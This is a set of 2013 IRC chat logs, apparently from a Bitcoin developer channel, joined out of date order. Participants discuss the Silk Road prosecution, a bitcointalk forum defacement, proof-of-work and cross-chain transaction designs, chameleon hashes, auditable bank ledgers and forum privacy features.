18:57 < midnightmagic> equally impressive is their assertion that newbs who know their text is being analyzed can fool the tools without any training.
18:57 < jgarzik> I read about an image recognition demo. Once you trained the model w/ a subject inside fMRI machine, the models were able to guess what the subject was visualizing
18:57 < jgarzik> you don't have to know how the brain works at all, to apply statistics
18:58 < HM3> jgarzik, but only things that have already been trained, surely
18:58 < jgarzik> computers are just too damned good at pattern matching
18:58 < jgarzik> HM3, today.. correct
18:58 < HM3> then I'll be dead before they get through my tinfoil house
18:59 < gmaxwell> people are good at pattern matching.. but each computer is like having a million kinda dumb people working on your problem. They really do change the power dynamics.
19:01 < HM3> reminds me of this computerphile video, where the guy reasons that useful AI is putting a pretty dumb machine in a carefully controlled environment, not making smart AIs to cope with complex environments
19:02 < HM3> like captcha processing. throwing a neural network at it works really well after a stack of bespoke preprocessing
19:02 < HM3> here we go https://www.youtube.com/watch?v=hcoa7OMAmRk
19:06 < jgarzik> "How DPR Got Caught", summarized from the criminal complaint: https://medium.com/p/d48995e8eb5a
19:06 < jgarzik> (nothing that hasn't already been said here
just a useful summary)
19:07 < gmaxwell> jgarzik: notice the gap on 2? how'd they get the siezed webserver?
19:08 < HM3> 1.5 is seizing his email account
19:08 < HM3> what kind of private VPN keeps logs :S
19:09 < jgarzik> what percentage of VPNs are really honeypots...
19:09 < gmaxwell> HM3: what kind of underground drug markets keep logs?
19:10 < HM3> well messages need to be kept until they're read
19:10 < jgarzik> gmaxwell, definitely some handwaving in the complaint, glossing over compromise of the servers in some foreign country
19:10 < HM3> when you buy something on silk road the process involves messaging through the site, to give the seller your address, and get updates etc.
19:10 < gmaxwell> HM3: yea, but there are a bunch of extra logs apparently!
19:10 < HM3> yep. should have had the rack rigged with thermite :P
19:11 < jgarzik> IIUC, Tor has around 7000 relays. It seems well within existing technology and the ability of the NSA -- known to monitor the Internet at junctions all over the globe -- to observe all 7000 relays, and figure out which set of relays "bursts" during a observed Silk Road visits.
19:12 < HM3> jgarzik, you could be an optimist and say the intermediate steps are omitted because they're routine and don't actually add to the evidence
19:12 < jgarzik> and it seems doable to classify a node a "busy"
19:12 < jgarzik> pick up enough of these strands, and you can probably locate a popular Tor hidden service
19:14 < HM3> that's like tracing bitcoin transactions to IPs by making as many connections as you can, or tracing Bittorrent DHT queries by running a load of nodes in the DHT
19:16 < gmaxwell> HM3: I've heard from people running ISPs that they have had people trying to purchase IP space in a large number of /8s in order to do bittorrent dht poisoning.
19:16 < HM3> the protocol, like most of bittorrent, was fairly rushed
19:26 < midnightmagic> gmaxwell: A friend of mine was already doing that for TimeWarner, as of perhaps 10 years ago. I haven't personally witnessed him doing that, but he's getting a paycheque and lives in.. Japan right now I think.
19:45 * HM3 debates porting some parsing code written in Boost xpressive to Boost Spirit X3
20:48 < gmaxwell> great... bitcointalk hacked.
21:01 < midnightmagic> jesus
21:01 < midnightmagic> smf is way holier than i thought
21:12 < Luke-Jr> gmaxwell: really? :o
21:12 * Luke-Jr is uncertain if that is good or bad
21:14 < gmaxwell> and defaced by some moron
21:14 < Luke-Jr> who might be stealing cookies to run against the real site?
21:22 < HM3> How frequently is it hacked?
21:22 < HM3> Seems like a bad day for the largest bitcoin forum to go down
21:22 < HM3> Conspiracy ;P
21:23 < gmaxwell> it's been similarly defaced once before.
21:46 < jgarzik> The "murder for hire" was indeed a sting, 100% fake: http://www.baltimoresun.com/news/maryland/crime/blog/bal-silk-road-owner-ross-william-ulbricht-allegedly-tried-to-arrange-witness-murder-in-md-20131002,0,5476223.story
21:46 < Luke-Jr> jgarzik: both?
21:47 < jgarzik> $80k
21:47 < Luke-Jr> "rivals" - huh? blackmail isn't rival :P
21:54 < gmaxwell> jgarzik: holy @#$#@
21:54 < gmaxwell> that is actually about the 80k hit!
21:54 < gmaxwell> Their chats took a turn when one of Ulbricht's employees got arrested in January after one of their arranged transactions. Authorities say Ulbricht worried that the employee would blow his cover and asked the undercover agent to have him killed.
21:54 < gmaxwell> Ulbricht said he had
never killed a man or had one killed before, but it is the right move in this case,
an agent wrote in court papers.
21:54 < gmaxwell> The agent led Ulbricht to believe that the killing had been carried out, including sending staged photos of the employee being tortured, and on March 1 Ulbricht wired $80,000 from an account in Australia to an account controlled by authorities.
21:56 < jgarzik> $80k first one staged, $150-300k second one not staged [by LEA]
21:57 < gmaxwell> yea. crazy. well so much about my idea that the 150k one was DPR just intentionally playing along with the blackmailer to scare him off..
21:57 < gmaxwell> the fact that he really did think he had someone killed previously drastically lowers my probablity assessment of that.
22:01 < HM3> dumb question
22:01 < HM3> since it's 3AM
22:02 < HM3> S1 xor P1 = S2 xor P2
22:02 < HM3> if you know S1 and S2, xoring them together = P1 xor P2, right?
22:04 < HM3> yeah duh
22:04 < HM3> Christ, time for bed
--- Log closed Thu Oct 03 00:00:37 2013
--- Log opened Thu Oct 03 00:00:37 2013
02:48 < wumpus> so much for his ideological spiel about a world without violence
02:49 < warren> You see, under the non-aggression principle you only have to worry about governments. Voluntary actors and corporations (merely pooled capital of voluntary actors) have no reason to be violent.
02:50 * warren read all that crap for a paper this past semester.
02:51 * Luke-Jr notes Roger Ver considers DPR to be a hero after all this <.<
02:51 < gmaxwell> platonic politics for spherical cows.
02:51 < gmaxwell> Luke-Jr: you should point roger to the MD charges.
02:51 < wumpus> usually when people say that they mean 'only my agression' or, 'only my group's agression'
02:52 < Luke-Jr> MD?
02:52 < gmaxwell> Luke-Jr: I pointed genjix to them and he said he'd have to reconsider his position (he too was going on about the hero stuff)
02:52 < gmaxwell> Luke-Jr: http://www.baltimoresun.com/news/maryland/crime/blog/bal-md-drug-attempted-witness-murder-charges-against-silk-road-owner-document-20131002,0,258931.htmlpage
02:53 < gmaxwell> apparently the $80k hit meantioned in the NY complaint's emails was actually a MD sting operation.
02:53 < Luke-Jr> is there a PDF of that?
02:53 < gmaxwell> and in that case my "well maybe DPR knew he was talking to the blackmailer all along" doesn't at all apply.
02:53 < Luke-Jr> gmaxwell: I did mention the MFH stuff, and the posters on Roger's page went on about "no proof" :/
02:53 < gmaxwell> DPR wired 80k USD to some law enforcement in DC to have one of his staff members killed after he learned the staff member had been arrested. :(
02:54 < gmaxwell> Luke-Jr: http://s3.documentcloud.org/documents/801151/silk-road-owner-charged-in-md-with-drug.pdf
02:54 < Luke-Jr> thanks
02:54 < gmaxwell> This sounds much more solid than the incident in the NY one.
02:54 < gmaxwell> :(
02:55 < gmaxwell> I'm now honestly angry that they let this sonofabitch walk free for 8 months and gave him enough time to try to put out a hit on a second person!
02:57 < gmaxwell> and I suspect that the "success" of that first assassination is why he seemed so strangely eager to use it as a solution to his blackmailer problem.
03:09 < Luke-Jr> gmaxwell: no kidding
03:10 < gmaxwell> maybe someone actually is dead now because of it.
03:10 < gmaxwell> ... though I think thats unlikely.
03:13 < Luke-Jr> gmaxwell: on another note, I think it's awesome how the Maryland indictment uses past tense for SR :D
03:14 < Luke-Jr> hey, Maryland got "difficult to track" right (instead of anonymous)
04:13 < midnightmagic> say DPR wanted to prove he thought in advance, something was going on, and that he felt in advance there wasn't any hit happening. He could write various self-serving versions of it which conform to expected possible outcomes, and datestamp some hashes for each one, very nearly undetectable from one another using various namecoins. Then, depending on
what actually happens, he magically whips out the most self-serving theory
04:13 < midnightmagic> which "proves" that in advance, he "knew" the cops were cops and no wrong-doing was happening.
04:13 < midnightmagic> how do the cops prove he wrote a dozen or a thousand of them?
04:19 < gmaxwell> thats why you couldn't use that sort of thing as a defense.
04:20 < gmaxwell> one of the reasons cops want money in these cases is to do kinda the opposite.
04:21 < gmaxwell> midnightmagic: I suppose if he timestamped one of those things with say, a $80,000 transaction fee... then you would have an argument which would convince _me_ that the timestamped thing was unique-ish, though selectively disclosed.
02:52 < gmaxwell> nah, this stuff is easy to improve in wikipedia, no one cares about it. :P
02:53 < gmaxwell> In any case, it's not exponential but indeed, it might be interesting.
03:07 < gmaxwell> in any case the short short of the rho algorithim: say you're looking for two hashes with the same 32 bit prefix. You pick a random starting value then truncate the hash output to 32 bits and use that to obtain your next point to check
03:08 < gmaxwell> then you keep going. Eventually you will loop. You can detect the loop in a bunch of different ways. Once you've looped you have a collision.
03:09 < Luke-Jr> hm
03:10 < gmaxwell> but the fact that you have to recompute part of your loop to actually find the other value, as well as the work required to detect the loop means this is slower than if you had the memory (and access to the memory were free).
03:10 < gmaxwell> There are schemes in between memorylessness and full memory that let you choose your tradeoff.
14:02 < amiller> ugh, i'm stuck on atomic cross chain transactions again
14:03 < amiller> https://en.bitcoin.it/wiki/Atomic_cross-chain_trading
14:03 < amiller> does this one work?
14:04 < amiller> it just uses timeouts and refunds and the whole hash of a secret thing
14:04 < amiller> so that a transaction that claims a reward on one chain must necessarily involve publishing enough information to claim the amount on the other chain
14:05 < amiller> and there's a longer timeout on the second chain
14:09 < jgarzik> amiller, as is self-evident, there is nothing really atomic there
14:10 < jgarzik> IMNSHO
14:10 < amiller> i'm willing to assume that the chains are *loosely* synchronized so that 48 hours doesn't elapse on one chain before 24 hours elapses on the other thouhg
14:13 < amiller> i can't come up with any way that one transaction could be completed and the other not
14:18 < amiller> i guess this requires a locktime though
14:19 < jgarzik> yeah
14:19 < amiller> i can't figure out if this would work with existing locktime
14:26 < amiller> gahh, i think this is just unreadable
14:26 < amiller> i can't interpret what "A creates TX1: "Pay w BTC to <B's public key> if (x for H(x) known and signed by B) or (signed by A & B)"
14:26 < amiller> A creates TX2: "Pay w BTC from TX1 to <A's public key>, locked 48 hours in the future, signed by A"" would actually be as a transaction
14:32 < amiller> if then else ops currently work nonstandard, right?
15:19 < amiller> https://gist.github.com/amiller/6923910/raw
15:19 < amiller> i think this works out.
15:19 < amiller> it's different than luxgladius.
15:19 < amiller> i don't know why i didn't come up with this one before while thinking through the luxgladius one though
15:34 < amiller> https://bitcointalk.org/index.php?topic=193281.msg3315031#msg3315031
15:34 < amiller> i can't tell if i'm currently out of my mind or just was previously out of my mind, it's tricky
16:02 < gmaxwell> So here is a fun POW idea: for each UTXO compute X_n = H(UTXO_n || H(header) || nonce) and then search two X_n such that X_n_1 - X_n_2 < target. it's UTXO semi-hard (time/memory tradeoff) but has a compactly checkable proof (just two UTXO fragments)
16:07 < gmaxwell> (oops one side needs to have a nonce of 0 or its not utxo hard, darnit, I had that right initially and then revised my message and broke that)
16:32 < maaku> gmaxwell: why is it valuable to tie UTxO with PoW?
16:34 < amiller> because otherwise there's not much incentive to actually store the UTXO
16:34 < amiller> especially as the UTXO gets much bigger, people might elect not to store it at all
16:35 < amiller> why buy an extra hard drive to hold the utxo, it doesn't help you mine and you could just buy another miner
16:35 < amiller> this isn't as much of a problem as long as the UTXO stays pretty small, which it seems to be doing so far
16:35 < amiller> but this is especially a prerequisite for any altcoinish idea that involves a larger UTXO
16:35 < amiller> and it doesn't hurt to use the mining incentive to incentivize storing the UTXO
16:37 < maaku> hrm, ok is there any reason to have a UTXO-POW if you have UTXO commitments?
16:39 < amiller> yes
16:39 < amiller> even if you odn't need the whole utxo to validate merkle-branch proofs
16:39 < amiller> you still need lots of people to construct/serve those proofs, cheaply
16:40 < amiller> those people can be the miners
16:40 < amiller> use the mining fee to subsidize some of the expense of validation (preparing the proofs)
16:41 < maaku> ok what i mean is if there is soft-fork commitment of the utxo hash to the coinbase
16:41 < maaku> (which is the current plan, i hope)
16:41 < maaku> then they are incentavised to have the UTXO set - their blocks will be ignored otherwise
16:42 < gmaxwell> maaku: imagine you have that.. and people go "ouch, these things are expensive to compute. Oh look, bob will generate them for us for only 0.01% of our mining income, we just need to connect to him to get the latest value".. and you get massive centeralization as a _result_ of your commitment.
16:42 < gmaxwell> but if the POW is UTXO hard then the communications bandwidth required to use bob is proportional to hashrate and prohibitive.
16:43 < maaku> but - different tack here - aren't you then requiring any full node to also maintain the whole utxo set to validate?
16:44 < gmaxwell> maaku: what I described can be validated against a utxo commitment (e.g. in the prior block)
16:45 < maaku> ok
17:00 < maaku> gah, i completely forgot about committing hashes of undo files
17:24 < amiller> does anyone have any idea wtf adam3us is describing
17:24 < amiller> i think it's good but i don't understand it
17:25 < amiller> i understand the idea of having homomorphic commitments to values (like instead of zerocoin, where you have to do one transaction per fixed-unit of currency)
17:27 < amiller> but i can't figure out what it has to do with proof of work
17:28 < gmaxwell> amiller: oh good, its not just me.
17:28 < gmaxwell> well actually I think I have a better idea of what it is than that.
17:30 < gmaxwell> Consider, you can do digital cash via blind signatures... so long as you can trust the blind signing guy to not double sign. So what if your POW were a blind signing algorithim? and the ability to double sign is removed by the difficulty in creating a block and the desire to not have your block invalidated via double signing.
17:30 < gmaxwell> I think thats what he is trying to describe.
17:39 < gmaxwell> amiller: i dunno why you say that "since pooled mining is *not* a systemic threat to decentralization in the same way" ... I think it is one, it's just one of lower magnitude, but not different degree.
17:39 < gmaxwell> the magnitude difference comes from the fact that miners can't vote with their feet, but we see in practice that they already vote with their feet super slowly with pools.
17:39 < gmaxwell> (e.g. stupid dos attacks are visible in the global hashrate)
17:39 < amiller> that's really not inherent to pooling thouhg
17:39 < amiller> just an implementation of it?
17:40 < gmaxwell> yea, you could pool for payments only, and that wouldn't have that risk.
17:40 < gmaxwell> But the cost of running a full node, varrious intelletual friction, etc. are also pro-centeralization.
17:41 < amiller> agreed, sure
17:41 < gmaxwell> but okay, fair point, your idea kills even the least harmful kinds of pooling.
17:41 < gmaxwell> e.g. just pooling payments.
17:42 < amiller> (edited to weaken my apparent endorsement of pooled mining :o)
17:51 < gmaxwell> amiller: https://bitcointalk.org/index.php?topic=309073.msg3315837#msg3315837
18:00 < Luke-Jr> I don't see how that would stop people from outsourcing mining
18:01 < Luke-Jr> on the contrary, it would just make it worse since the companies doing it would be less likely to give their clients any direct control over the miners
18:07 < amiller> i don't follow
18:09 < gmaxwell> Luke-Jr: the idea is that it makes it so the cloud company can easily and invisibly rip off their investors.
18:09 < Luke-Jr> they already can
18:09 < gmaxwell> The motivation may not be obvious to you because they can already do that, amiller is assuming a future world where the investors demand proof.
18:09 < gmaxwell> which they can currently provide.
18:10 < gmaxwell> e.g. if you buy x TH/s of mining the cloud can send you shares to prove that they're mining in a way that will pay you.
18:10 < Luke-Jr> i c
18:10 < Luke-Jr> so basically his idea makes it impossible for them to provide proof :P
18:10 < gmaxwell> Of course, no one does this, or even asks for it. But amiller assumes they will, and proposes to break that. Right.
18:11 < amiller> unbuild it and they wont come
18:11 < gmaxwell> their proof would be worthless because the solutions they find would be rebindable to pay them instead without anyone knowing who did it.
18:11 < Luke-Jr> imo not worth a hardfork <.<
18:11 < amiller> Luke-Jr, time will tell
--- Log closed Fri Oct 11 00:00:25 2013
--- Log opened Fri Oct 11 00:00:25 2013
--- Day changed Fri Oct 11 2013
00:33 < jgarzik> bye bye Dwolla, we hardly knew ye
00:52 < maaku> jgarzik: ?
00:53 < jgarzik> maaku, they are stopping anything related to virtual currencies as of Oct 28
00:54 < maaku> ah
21:24 < HM3> :)
22:14 < amiller> :)
22:15 < gmaxwell> :-/
22:53 < jgarzik> !!!
23:12 < HM3> https://www.imperialviolet.org/2013/07/18/hashsig.html
23:12 < HM3> great blog post on Lamport signatures
23:13 < HM3> I just found out agl (the above blogger) implemented the 'donna' plain-C impl of djbs curve25519
23:14 < HM3> been reading his blog for a while, so it was a nice collision of interests
--- Log closed Sat Oct 12 00:00:03 2013
--- Log opened Sat Oct 12 00:00:03 2013
11:53 < nanotube> so my bitcoind node is averaging total connections in the 120s (out of 128 total), with 40-50 through tor. only one data point, but seems to suggest that open network slots are relatively few.
11:53 < jgarzik> indeed :/
04:01 < warren> gmaxwell: and board markup can be within that, parsed within the signed message box, but raw text for manual verification
04:02 < gmaxwell> this way people using their own gpg signatures on messages aren't a nusance adding kilobytes of base64 data to everyone's screens.
04:02 < gmaxwell> yea, exactly.
04:02 < gmaxwell> so it doesn't break markup either.
04:03 < gmaxwell> warren: rails? Not go? :P
04:03 < warren> gmaxwell: whatever can be rapidly developed and is reasonably securable
04:04 < gmaxwell> most of the dynamic languages have been security disasters of various degrees. :(
04:04 < gmaxwell> rapidly developed and is reasonably securable ... = Java.
04:04 * gmaxwell ducks
04:04 < warren> haha
04:06 < warren> SMF has the ability to grab avatars from arbitrary URL's
04:06 < warren> I'm not sure how someone thought that was a good idea.
04:06 < warren> there is no reason a forum should be able to make outgoing connections
04:06 < warren> also ... bitcointalk's outgoing e-mail is spam binned or blocked at many ISP's
04:07 < warren> because spam is sent in PM's
04:07 < warren> forum TNG needs a egress spam filtering with moderation
04:10 < gmaxwell> warren: it should use tor for that. :P
04:10 < gmaxwell> oh a feature I want: block @#$@#@ third party images in posts.
04:11 < gmaxwell> It's crappy that anyone on the forum can get the IPs of anyone who reads their threads by inlining an image!
04:11 < warren> yeah
04:11 < gmaxwell> I bet it even works in PMs too, but I haven't tried it.
04:11 < warren> I'm curious why that's allowed at all.
04:11 < gmaxwell> it will be awesome beyond belief if there is another browser PNG remote code bug...
04:11 < gmaxwell> (there have been ones in the past)
04:11 < warren> gmaxwell: ooh... let people upload images ... but that's a premium feature
04:12 < warren> no privacy problem that way
04:12 < gmaxwell> sounds fine to me. also would reduce fucking stupid meme images, which I think is ducky but others may not agree.
04:12 < warren> they can use stupid meme images, if they pay
04:12 < warren> pay to pollute
04:13 < gmaxwell> yea.
04:13 < gmaxwell> I wish there were a way to distinguish normal signatures from advertising ones. I wish I could block only the advertising signatures (though I guess they're a good way to identify idiots)
04:13 < warren> people will bitch about losing the feature, but easy to explain with "privacy"
04:14 < warren> gmaxwell: ooh, Ignore button only for signatures
04:14 < gmaxwell> it has that already, in fact.
04:14 < gmaxwell> oh but it's not per user.
04:14 < warren> huh
04:14 < warren> oh
04:14 < gmaxwell> ah, also, might be interesting if you could subscribe to other users ignore feeds.
04:15 < warren> hahahaha
04:15 < warren> that would be awesome
04:15 < gmaxwell> Or be able to do things like ignore this if 2 out of {warren, theymos, gavin} has ignored.
04:16 < warren> don't want the logic to become too slow
04:16 < gmaxwell> (in theory you could replace a lot of banning with a default ignore subscription, though if mods were ignore subscribed, I'd want seperate personal and moderaor ignore lists.. as I ignore people pretty freely)
04:16 < warren> gmaxwell: would folks like a slashdot-like meta-moderation system?
04:16 < warren> good posts bubble up
04:16 < gmaxwell> I think slashdot has been an uniform disaster and I wouldn't use any forum that worked that way.
04:17 < warren> reddit is a disaster too?
04:17 < gmaxwell> I think my net karma in /r/Bitcoin is negative.
04:18 < gmaxwell> Because I've posted things like expressing concern about people centeralizing on popular web wallets or saying that I didn't think the promotion of illegal activity was good for bitcoin.
04:18 < gmaxwell> And I got groupthough downvote bombed.
04:19 < gmaxwell> (my reddit karma overall is very high, it's not like I do poorly in reddit in general... but it punishes strong voices who aren't in with the flow)
04:21 < gmaxwell> Now, ... a per subforum mode that let do a reddit style thing might be interesting.
04:21 < gmaxwell> E.g. press subforum would probably be neat with reddit ranking instead of most recent post bumps.
04:57 < midnightmagic> post bumps make me angry
04:57 < midnightmagic> aaaaangry
04:58 < midnightmagic> no.. wait, that's steven harper that makes me angry.. aaaaangry
06:19 < warren> gmaxwell: mind if we act as guinea pig for gmaxwell:external_ip?
06:26 < warren> gmaxwell: I'm going to make a bitcoin-0.8.5 branch with the large pile of stuff I backported/tested in litecoin-0.8.x too.
06:34 < petertodd> gmaxwell: make the forum have an underlying usenet-like architecture, so those interested can mirror whole copies. Prevent DoS w/ trusted signature schemes of the "maste server" and/or proof-of-sacrifice stuff
06:35 < warren> petertodd: with client-side encrypted warez ...
06:36 < petertodd> warren: heh, yup
06:36 < petertodd> warren: obviously moderators can handle that...
06:37 < warren> petertodd: can they? they have no idea what is stored there...
06:38 < petertodd> warren: right, and having no idea is grounds for them banning the message. (or not allowing it in the first place)
06:39 < warren> censorship!
06:39 < petertodd> allowership!
06:40 < petertodd> no seriously, I'm thinking you have what if fundementally a flood-fill, but use signatures to filter
06:40 < petertodd> *what is
06:40 < petertodd> and really, usenet is probably 95% of what we need...
06:42 < petertodd> heck, looks like there's some existing web-based usenet readers
06:43 < warren> ship it with monster truck sized training wheels
06:44 < petertodd> Exactly! it's totally ok if ther's still "bitcointalk.org", and if what it's usually doing is generating a PGP key on your behalf that it signs your posts with.
06:44 < petertodd> Also, you can still have ads: add them to messages the same way that bitcoin-development does in a separate mime bit. (you can have two sigs even...)
06:45 < petertodd> or just leave the ads on the http version - the usenet version doesn't have too
06:46 < petertodd> (kinda sad that my first thought with an awesome fully decentralized forum is how can we stick ads on it...)
07:26 < warren> gmaxwell: https://github.com/wtogami/bitcoin/commits/0.8.5-externalip backported your patch to 0.8.5. It seems to run ... no idea if it is working.
07:27 < warren> petertodd: any idea how to test if this is working?
07:27 < petertodd> warren: logs? tcpdump?
07:28 < warren> maybe a logprint when it transmits an advertisement?
07:29 < MoALTz> petertodd: figure out how to reward website operators for offering a service without using ads? not sure if there's a good way to do this though
07:29 < petertodd> yup
07:30 < petertodd> MoALTz: nah, real easy: we want to pay mods because they do useful moderation work, and we want to pay server operators because servers cost money
07:30 < petertodd> MoALTz: the latter is easy with http web stuff, just use ads! with nntp, charge for the service. For moderators, attach the ads to the messages they moderate if you want, or take money out of the other two categories.
07:35 < petertodd> crazy scheme: so moderators/forum operators are good for DoS attack control. Make people pay for that service by using a forgable digital signature, specifically one where between two parties, the receiver knows the sig is valid, but it's constructed in such a way that the receiver themselves can fake the signature. Thus when people stop paying for their
feed, stop signing the data. Works best with a broadcast encryption scheme, though I don't know enough about the details of how to actually do that.
17:27 < warren> https://github.com/litecoin-project/litecoin/pull/81 we're going to guinea pig the externalip thing
17:27 < warren> anything else you want tested on <that other network>?
18:31 < adam3us> gmaxwell: less OT here it seems to me a pederson commitment can be used as a chameleon hash also have to check, maybe its well known - not sure
18:32 < gmaxwell> I was trying to come up with a way to use ECDSA as one (on the basis that people already have ECDSA code), but failed... I could only get one that worked for two messages and only if you knew them in advance.
18:33 < adam3us> yeah schnorr is just more flexible ... dsa is a bad algorithm
18:33 < adam3us> gmaxwell: pederson commitments are like two discrete logs and generalizes to many discrete logs called representation problem
18:38 < gmaxwell> adam3us: interesting, yea, I didn't think any of the other chameleon hashs failed to leak the private key. That was indeed also the claim of that paper.
18:44 < adam3us> gmaxwell: maybe its wrong... i find it hard to imagine i just invented two new chameleon hashes given how easy it was
18:45 < gmaxwell> it wouldn't surprise me, it's not the most in-demand cryptographic construct, and it's highly related to ZKPs, which you've been thinking about lately.
18:45 < adam3us> gmaxwell: check thread, but a=kG+mQ is hash, modified hash is a=k'G+m'Q which recipient can calc as he knows dG=Q, and k'=k+md-m'd
18:46 < adam3us> gmaxwell: u know there is a lot of interesting and practically useful stuff below what the academics call MPU minimum publishable unit
18:48 < adam3us> gmaxwell: its an interesting q if you can force that to be a valid ECDSA sig, would be like an existential forgery (sender) vs a real sig (rceipient) but i am not sure if an existential forgery can communicate anything other than a random number in place of a msg
19:31 < adam3us> gmaxwell: yeah i dont see how to make that work with ecdsa either.. oh maybe you can do this
19:33 < adam3us> gmaxwell: R=kG, r=R.x, s=k^-1(H(m)+rd) dsa sig = r,s (normal so far) a verify relation is sR =? H(m)*G+rQ
19:35 < adam3us> gmaxwell: so work backwards, choose r random, compute R=[r,f(r)], then H(m)*G, calc T = H(m)*G+r*Q
19:35 < adam3us> gmaxwell: ok now chose random s compute sR = T (ie s^-1*T = R)
19:36 < adam3us> gmaxwell: so far the R value is random and wrng and doesnt match r
20:16 <@petertodd> On the other hand, with opaque transactions, again, what's to stop the bank from creating inflated ones? But if you can audit that, they someone can just troll through the balance sheet and find them all out anyway.
20:16 <@petertodd> (though granted, movements would be harder)
20:17 <@petertodd> It's funny too how balances that sit untouched, can be relatively safely taken by the ledger in fraud/balance expiry.
20:17 <@gmaxwell> petertodd: I don't follow. The bank pays you 100 btc it doesn't have. You check your balance. Is the root correct? if so, then someone elses root will not be correct.
20:18 <@gmaxwell> well such a system would likely fund itself by periodic fees on inactive accounts, this also prunes the account database.
20:18 <@gmaxwell> (it would make txn paying itself from users
20:18 <@gmaxwell> and yea, it could rob inactive users and use that to pay other users... though they'd eventually be able to prove it.
20:19 <@petertodd> I guess that's basically my complaint: it relies on users checking for fraud 100%, and each user has to play their part.
20:19 <@gmaxwell> or rather, challenge it and the bank would be unable to prove it didn't.
20:19 <@petertodd> See, I'd say don't worry about balances, just do a straight up unspent txout list as usual.
20:20 <@gmaxwell> yea, but thats less private and also not so scalable. Proving that the bank has the funds to back itself and proving that it hasn't just randomly taken your money is probably the biggest concerns.
20:20 <@petertodd> Merkle sum the txout of course, but leave it at that.
20:20 <@amiller> i'm interested in something which is that normally there's no incentive to communicate information in a p2p network but in bitcoin there sort of is
20:20 <@gmaxwell> Consider the bank like things that put people's money with pirate.
20:20 <@amiller> in the sense that you want to publish proofs because it makes it easier for other people to build on your block rather than undermining it
20:20 <@amiller> same as wanting to obtain the proofs so you can be sure your'e working on a valid block
20:21 <@amiller> it's obvious how by encoding validation rules / proof of work puzzles you can incentivize both storage and computation
20:21 <@amiller> it's less obvious but still seems plausible that you can incentivize communication this way
20:21 <@petertodd> "Consider the bank like things that put people's money with pirate." <- ?
20:22 <@petertodd> Oh, wait, you mean the funds that took peoples money, and forwarded it to pirate.
20:22 <@gmaxwell> petertodd: when pirate poofed a bunch of other stuff poofed too.. bitcoin businesses and such, that has investors money, even an exchange like thing...
20:22 <@gmaxwell> Yep. Even when they were saying that they hadn't done that.
20:22 <@petertodd> Yeah, I see what you mean, you want to audit the backing funds first.
20:22 < HM> i take it nobody got their money back?
20:22 < HM> last i heard he was actually paying some back ?
20:23 <@gmaxwell> people who were paid before the implosion got paid.
20:23 <@petertodd> HM: he kept saying that to keep people hoping, and not suing him.
20:23 <@gmaxwell> and yea ^ that.
20:23 <@petertodd> (post implosion)
20:24 <@gmaxwell> petertodd: in any case, I think thats the biggest sorts of concerns. The UTXO thing would be better but also more complicated less scalable.
20:24 <@petertodd> gmaxwell: Yeah, I'll agree with you on that. Basically, build a client that makes checking for fraud periodically, and ensure people use it, and you're probably doing pretty well.
20:25 <@gmaxwell> so one thing to do would be for every account to be based on two keys, an encryption key for antifraud, and a signing key for spending.
20:26 <@gmaxwell> the system could public all the antifraud proofs, encrypted.. so that it can't tell whos paying attention.
20:26 <@gmaxwell> Moreover, people could hand over copies of their anti-fraud decryption keys to friends that they don't mind losing some privacy to.
20:26 <@gmaxwell> So the burden of checking could be shared.
20:27 <@gmaxwell> ALTERNATIVELY. the system could pay users to check.
20:27 <@petertodd> How so?
20:27 <@gmaxwell> e.g. you get an inactivity fee if you're not checking.
20:27 <@petertodd> Ah, so if the server doesn't get the occasional query?
20:27 <@gmaxwell> right. if the server doesn't get queries from you it deducts your balance until your balance is gone.
20:28 <@petertodd> So, the signing key can be ECC, and then the encryption key should be a private key, so the bank can't publish your details behind your back.
20:28 <@gmaxwell> If you're still querying though you keep a balance. Rather than prevent the theft we instutionalize it. :)
20:28 <@petertodd> And further more, the ledger should also publish the hash of the current anti-fraud proof, so you can always just give someone the proof, and they can verify it.
20:29 <@petertodd> Ha, I like the institutionalizaiton... Standard expiry time thing.
20:29 <@gmaxwell> Well, one way to prevent theft is to give people an honest way to get the same (averaged) gain permissably and within the rules. :)
20:29 <@petertodd> For sure
20:29 <@gmaxwell> but since everyone knows how it works, they can behave accordingly.
20:30 <@gmaxwell> if the bank can rob you if you don't check
make it permitted to do so. (slowly)
20:30 <@petertodd> Also, note how if the leger is purely balanced based, we actually can do chaum tokens still.
20:30 <@petertodd> A chuam transaction just means an increment in the special outstanding token balance, followed by a decrement.
20:31 <@gmaxwell> right, there could be special accounts for outstanding chaums of different sizes.
20:31 <@petertodd> Yup, powers of two would be good.
20:31 <@gmaxwell> and the chaum validation key could be public. Though you couldn't prove that they weren't overprinting chaums.
20:32 <@gmaxwell> but only users with chaum in hand would have that risk.
20:32 <@gmaxwell> well I suppose you could, but were back to the registering thing. :)
20:32 <@petertodd> Yes, they'd be at risk the second every outstanding chaum token gets redeemed.
20:33 <@gmaxwell> I think people are not that uncomfortable with banks that themselves are single privacy points of failure though. I mean
we have that for everything except cash. Use the bank via tor.
20:34 <@petertodd> Probably true really.
20:35 <@gmaxwell> mostly I'd like to see this on testnet, just as a tool to get more people to dork around with testnet... though if the code were available some fool would run it for real. :P I wish them luck.
20:35 <@petertodd> Oh, and it's interesting: withdrawls can be handled just fine using the "non-backing" store of value basically, in the reverse of deposits. So really without a lot of collusion you'd never figure out where coins are going on-chain.
20:35 <@petertodd> Yes, I think "release the code" is a very, very good model...
20:36 <@gmaxwell> yes, thats a good goal and I'd realized that too.
20:36 <@petertodd> Good.
20:36 <@gmaxwell> it also, again allows for more efficient withdraws.. batched, mtgox code, chaum tokens with some other system.
20:37 <@gmaxwell> The only think provable is that the bank holds a certian amount of money, and technically even that proof would only be available to balance holders, you'd make the txids of the holding txn part of the proof hashtree.
20:37 <@petertodd> That also gets you five types of transactions: in-system, proxy-withdrawl, proxy-deposit, real-withdrawl, real-deposit, with the latter two basically only ever happening for the ledgers main account.
20:38 <@gmaxwell> right. Well, and because the in-system traffic is only checked by the system and the involved users you can have whatever complicated rules you want. In system escrow txn? no problem.
20:38 <@gmaxwell> Reoccuring payments?!@# no problem.
20:39 <@petertodd> You know, you can just give the user a way to sign that they accept the balance on their account too, so you can expire old tx history.
20:39 <@petertodd> With part of that signature being over the master hash.
20:39 <@gmaxwell> indeed, then it actually converges on a consensus system.
20:40 <@petertodd> Include a bitcoin proper blockchain hash, and a timestamp, and you can constrain the time quite nicely too so you can do tx history expiration.
--- Day changed Sat Mar 02 2013
12:18 < HM> but the advantage of a stack was scriptSigs and scriptPubkeys are easy to combine
12:18 < HM> and evaluate
12:18 <@sipa> which means it can be merkleized: you associate a hash with every node, and by just having the root hash, you can prove that a particular path through the tree belongs to it
